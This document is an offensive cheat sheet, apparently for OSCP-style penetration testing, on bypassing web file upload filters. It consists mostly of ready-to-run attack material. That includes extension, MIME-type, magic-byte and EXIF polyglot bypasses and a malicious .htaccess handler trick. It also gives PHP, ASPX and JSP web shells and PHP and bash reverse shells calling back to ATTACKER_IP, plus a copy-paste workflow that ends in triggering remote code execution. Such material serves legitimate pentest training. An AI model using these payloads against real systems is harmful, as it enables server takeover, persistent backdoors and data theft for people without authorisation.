File Upload Bypass — Techniques & Reference

What Is a File Upload Vulnerability?

A file upload vulnerability exists when a web application accepts files without properly validating type, content, or name. If you can upload executable code (PHP, ASPX, JSP) to a web-accessible location, you get Remote Code Execution (RCE).


🎯 Impact

  • Remote Code Execution via web shell
  • Read sensitive server files
  • Pivot to internal network
  • Persistent backdoor

Upload + LFI chain: Upload blocked for .php but Local File Inclusion (LFI) exists? Upload a ZIP containing the shell → trigger with zip://uploads/archive.zip%23shell.phpLocal File Inclusion (LFI) > 4. zip:// wrapper — RCE via uploaded archive


📌 1) Types of Upload Filters (and How to Bypass Each)

Filter 1 — Client-Side Validation (Easiest Bypass)

JavaScript checks the file extension before sending. Bypass completely with Burp or curl.

# Intercept with Burp → change filename in the request
# Or just turn off JavaScript in the browser
# Or use curl directly, bypassing the browser entirely
curl -X POST http://TARGET/upload -F "file=@shell.php"

Filter 2 — Extension Blacklist

Server rejects known “bad” extensions (.php, .php5, .phtml, etc.) but allows others.

Bypass techniques:

# Alternative PHP extensions (all execute PHP on many servers)
.php3   .php4   .php5   .php7   .php8
.phtml  .phar   .shtml  .pht
.PHP    .PhP    .pHp    (capitalisation)

# Apache .htaccess trick — upload this file first, then upload your shell
# .htaccess content:
AddType application/x-httpd-php .jpg

# Custom extension bypass — map .dork (or any “safe” ext) to PHP
echo 'AddType application/x-httpd-php .dork' > .htaccess
# Upload .htaccess → upload shell.dork → visit /uploads/shell.dork?cmd=id

→ Full walkthrough: 📌 1b) `.htaccess` upload bypass

# Null byte injection (older servers — PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg

# Double extension
shell.php.jpg
shell.jpg.php

# Trailing characters
shell.php.
shell.php....
shell.php%20

📌 1b) .htaccess upload bypass

File Upload Bypass Vulnerability via .htaccess

If the app lets you upload to a web-accessible directory (often /uploads/) and Apache honors .htaccess, upload a malicious .htaccess first — it tells Apache to treat a “safe” extension as PHP.

Step 1 — create .htaccess locally

# Map .dork files to PHP handler (any custom ext works)
echo 'AddType application/x-httpd-php .dork' > .htaccess
 
# Other common mappings
echo 'AddType application/x-httpd-php .jpg' > .htaccess
echo 'AddType application/x-httpd-php .gif' > .htaccess

Step 2 — upload order matters

  1. Upload .htaccess (may need to bypass “no dotfiles” filter — try double ext, Burp rename)
  2. Upload shell.dork (or shell.jpg) containing PHP:
<?php system($_GET['cmd']); ?>

Step 3 — trigger

curl "http://TARGET/uploads/shell.dork?cmd=id"
curl "http://TARGET/uploads/shell.dork?cmd=whoami"

Requirements / gotchas

RequirementNotes
Apache + AllowOverride.htaccess must be processed
Writable upload dirSame folder as shell
Extension whitelistUpload .dork if .php blocked
Hidden file filterIntercept in Burp Suite — rename field to .htaccess

Also pairs with Filter 3 polyglot uploads when only images allowed — .htaccess makes .jpg execute as PHP.

Web Servers


Filter 3 — Extension Whitelist

Server only allows known “safe” extensions (.jpg, .png, .pdf). Harder to bypass — combine with one of the content tricks below.

# If you can also bypass content checks → use a polyglot
shell.jpg          # Magic bytes: JPEG / Content: PHP code
shell.gif          # Magic bytes: GIF89a / Content: PHP code
shell.pdf          # Magic bytes: %PDF / Content: PHP code

# If the server executes based on Content-Type (not extension):
# Rename to .jpg but set a PHP execution path in .htaccess (if writable)

Filter 4 — MIME Type / Content-Type Header

Server checks the Content-Type request header. This is set by the browser but trivially faked.

# Burp — in the POST request, change:
Content-Type: application/octet-stream
# to:
Content-Type: image/jpeg
 
# Or with curl:
curl -X POST http://TARGET/upload \
  -F "file=@shell.php;type=image/jpeg"

Filter 5 — Magic Bytes Check

Server reads the first bytes of the file (not the extension or Content-Type header) to determine file type. Bypass by prepending real magic bytes to your payload.

JPEG polyglot (most common)

# Prepend JPEG magic bytes to a PHP webshell
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
 
# Using a real image's header (most convincing):
(head -c 16 legit.jpg; cat shell.php) > shell.jpgf
 
# Verify it passes magic-byte checks:
file shell.jpg          # Should say: JPEG image data
xxd -l 16 shell.jpg     # Should start with FFD8FFE0

GIF89a polyglot (also common — simpler)

(printf 'GIF89a'; cat shell.php) > shell.gif
# OR:
(echo -n "474946383961" | xxd -r -p; cat shell.php) > shell.gif
 
file shell.gif          # GIF image data

PNG polyglot

PNG signature: 89 50 4E 47 0D 0A 1A 0A (8 bytes). Server sees image/png; PHP still executes code after the header if the file is parsed as PHP.

Method A — xxd hex header + append shell (copy/paste)

# Write PNG magic bytes only
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > shell.php.png
 
# Append your PHP payload (or an existing shell file)
cat shell.php >> shell.php.png
# OR append another polyglot you already built:
# cat shell.php.png >> mime_shell.php.png
 
# Verify — must still report PNG
file shell.php.png          # PNG image data
xxd -l 8 shell.php.png      # 8950 4e47 0d0a 1a0a

Method B — printf one-liner

(printf '\x89PNG\r\n\x1a\n'; cat shell.php) > shell.png
file shell.png

Method C — inject PHP into a real PNG (vim / text editor)

When the app only accepts a real image, open a legit .png in vim (or similar), scroll past the header into the binary data, and insert PHP. The image stays valid enough for file to report image/png.

<?php echo "START<br/><br/>\n\n\n"; system($_GET["cmd"]); echo "\n\n\n<br/><br/>"; ?>

The START / END markers make it obvious in the browser when the shell fires vs. when the server just serves the image.

file modified.png    # Should still say: PNG image data

Double extension: .php.png or .png.php — try both; depends whether the filter checks the first or last extension and how Apache/nginx maps the file.

Trigger after upload:

curl "http://TARGET/uploads/mime_shell.php.png?cmd=id"
curl "http://TARGET/uploads/mime_shell.php.png?cmd=whoami"

→ Magic-byte crafting: xxd · MIME header in Burp: Burp Suite > 4) File Upload Bypass via Burp

Verify the magic bytes are correct

xxd -l 16 shell.jpg     # First 16 bytes should be the image signature
file shell.jpg          # Should report the image type

Note: The file will pass magic-byte checks AND still contain PHP code that executes if the server runs it through PHP. Open the file in a text editor — you’ll see garbage bytes at the top followed by your PHP shell.


Filter 6 — Full Content Inspection (Strictest)

Server validates the entire file as a valid image (e.g. uses getimagesize() in PHP or a dedicated image library). Requires a true polyglot — valid image AND valid code.

EXIF polyglot (inject PHP into JPEG EXIF metadata)

# Upload a real JPEG, then inject PHP into the Comment EXIF field
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real_image.jpg -o shell.jpg
 
# Verify PHP is inside
exiftool shell.jpg | grep Comment
strings shell.jpg | grep '<?php'
 
# The file is a valid JPEG + contains PHP in metadata
file shell.jpg    # Reports: JPEG

Create a proper polyglot using tool

# Install polyglot tool
pip3 install polyglot
 
# Or use online polyglot generators

📌 2) Web Shell Payloads

PHP (most common on OSCP boxes)

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
 
<!-- Full interactive shell (more functional) -->
<?php system($_GET['cmd']); ?>
 
<!-- One-liner with output -->
<?php echo `$_GET[cmd]`; ?>

Save as shell.php then:

curl "http://TARGET/uploads/shell.php?cmd=id"
curl "http://TARGET/uploads/shell.php?cmd=whoami"
curl "http://TARGET/uploads/shell.php?cmd=cat+/etc/passwd"

PHP reverse shell (full interactive)

<?php
$sock=fsockopen("ATTACKER_IP",4444);
$proc=proc_open("/bin/sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>

Or use the standard: /usr/share/webshells/php/php-reverse-shell.php (change IP/port)

ASPX (Windows / IIS)

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% 
  Process p = new Process();
  p.StartInfo.FileName = "cmd.exe";
  p.StartInfo.Arguments = "/c " + Request["cmd"];
  p.StartInfo.UseShellExecute = false;
  p.StartInfo.RedirectStandardOutput = true;
  p.Start();
  Response.Write(p.StandardOutput.ReadToEnd());
%>
curl "http://TARGET/uploads/shell.aspx?cmd=whoami"

JSP (Java / Tomcat)

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Common webshell locations (Kali)

ls /usr/share/webshells/
ls /usr/share/webshells/php/
ls /usr/share/webshells/aspx/
ls /usr/share/webshells/jsp/

📌 3) Finding the Upload Location

After a successful upload you need to know where the file went and how to reach it.

# Enumerate upload directories with Gobuster
gobuster dir -u http://TARGET -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php,jpg,gif
 
# Common upload paths to check
/uploads/
/upload/
/files/
/media/
/images/
/assets/
/content/
/wp-content/uploads/    (WordPress)
/data/
/static/
 
# Check the HTML source of the upload page — often reveals the path
# Check the URL response after upload — may include the filename/path
# Try path traversal in filename: ../../uploads/shell.php

📌 4) Full Attack Workflow

1. Find upload functionality
   → File upload form, avatar, attachment, import feature

2. Identify what filters are in place
   → Upload a .txt file → does it work?
   → Upload a .php file → error? What error?
   → Try alternative extensions (.php5, .phtml, etc.)
   → Intercept with Burp and change Content-Type

3. Craft your bypass
   → Extension bypass: try .php5 / .phtml / double ext
   → MIME bypass: change Content-Type to image/jpeg in Burp
   → Magic byte bypass: prepend JPEG/GIF/PNG bytes with xxd (or inject PHP into real PNG via vim)
   → EXIF bypass: inject PHP via exiftool -Comment

4. Upload the payload

5. Find where it was uploaded
   → Check response body / source for path
   → Gobuster the common upload dirs

6. Trigger execution
   → GET request to the file URL with ?cmd=id
   → Set up nc listener for reverse shell

📌 5) Combining Bypasses (Layered Filters)

Many apps use multiple filters. Layer your bypasses:

# Scenario: checks extension AND magic bytes AND MIME type
 
# 1. Rename to .jpg (extension whitelist pass)
# 2. Prepend JPEG magic bytes (magic byte check pass)
# 3. Set Content-Type: image/jpeg in Burp (MIME check pass)
# 4. Include PHP code after the magic bytes
 
# Build the file:
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
 
# In Burp — change:
#   filename="shell.jpg"
#   Content-Type: image/jpeg
 
# If server uses getimagesize() → use exiftool EXIF injection instead
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# ─── CRAFT BYPASS FILES ────────────────────────────────────────
 
# JPEG magic bytes + PHP shell
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
 
# GIF89a magic bytes + PHP shell (simpler)
(printf 'GIF89a'; cat shell.php) > shell.gif
 
# PNG magic bytes + PHP shell (xxd hex method)
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime_shell.php.png
cat shell.php >> mime_shell.php.png
 
# PNG one-liner
(printf '\x89PNG\r\n\x1a\n'; cat shell.php) > shell.png
 
# EXIF injection (passes getimagesize() check)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
 
# Verify magic bytes
file shell.jpg && xxd -l 16 shell.jpg
 
# ─── COMMON EXTENSION ALTERNATIVES ────────────────────────────
# .php3  .php4  .php5  .php7  .phtml  .phar  .pht  .shtml
 
# ─── FAKE CONTENT-TYPE (Burp) ──────────────────────────────────
# Change: Content-Type: application/octet-stream
# To:     Content-Type: image/jpeg
 
# ─── .htaccess BYPASS (.dork ext) ─────────────────────────────
echo 'AddType application/x-httpd-php .dork' > .htaccess
echo '<?php system($_GET["cmd"]); ?>' > shell.dork
# Upload .htaccess → upload shell.dork → curl .../shell.dork?cmd=id
 
# ─── QUICK PHP SHELL ───────────────────────────────────────────
echo '<?php system($_GET["cmd"]); ?>' > shell.php
 
# ─── FIND UPLOAD LOCATION ──────────────────────────────────────
gobuster dir -u http://TARGET -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php,jpg,gif,aspx
 
# ─── TRIGGER THE SHELL ─────────────────────────────────────────
curl "http://TARGET/uploads/shell.php?cmd=id"
curl "http://TARGET/uploads/shell.php?cmd=whoami"
# Reverse shell trigger:
curl "http://TARGET/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261"